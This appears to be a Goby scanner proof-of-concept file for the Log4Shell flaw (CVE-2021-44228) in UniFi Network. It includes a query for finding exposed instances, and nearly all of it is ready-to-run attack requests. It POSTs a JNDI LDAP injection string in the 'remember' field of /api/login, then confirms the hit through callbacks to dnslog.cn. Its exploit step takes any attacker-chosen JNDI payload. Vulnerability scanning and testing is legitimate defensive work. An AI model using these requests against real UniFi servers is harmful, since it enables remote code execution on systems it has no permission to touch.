UniFi_Network_Log4shell_CVE_2021_44228.json

{
      "Name": "UniFi Network Log4shell CVE-2021-44228",
      "Level": "3",
      "Tags": [
            "rce"
      ],
      "GobyQuery": "( title=\"UniFi Network\")",
      "Description": "UniFi Network 存在log4j漏洞。",
      "Product": "UniFi Network",
      "Homepage": "https://help.ui.com.cn/",
      "Author": "aetkrad",
      "Impact": "",
      "Recommendation": "",
      "References": [
            "https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis"
      ],
      "HasExp": true,
      "ExpParams": [
            {
                  "Name": "cmd",
                  "Type": "input",
                  "Value": "${jndi:ldap://dnslog.cn/tea}"
            }
      ],
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "http://www.dnslog.cn/getdomain.php",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "dnstest|lastbody||"
                  ]
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/api/login",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "{\"username\":\"admin\",\"password\":\"lolwat\",\"remember\":\"${jndi:ldap://{{{dnstest}}}/tea}\",\"strict\":true}",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": []
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            },
            {
                  "Request": {
                        "method": "GET",
                        "uri": "http://www.dnslog.cn/getrecords.php",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "{{{dnstest}}}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/api/login",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "{\"username\":\"admin\",\"password\":\"lolwat\",\"remember\":\"{{{cmd}}}\",\"strict\":true}",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": []
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "PostTime": "2022-01-11 14:43:16",
      "GobyVersion": "1.9.320"
}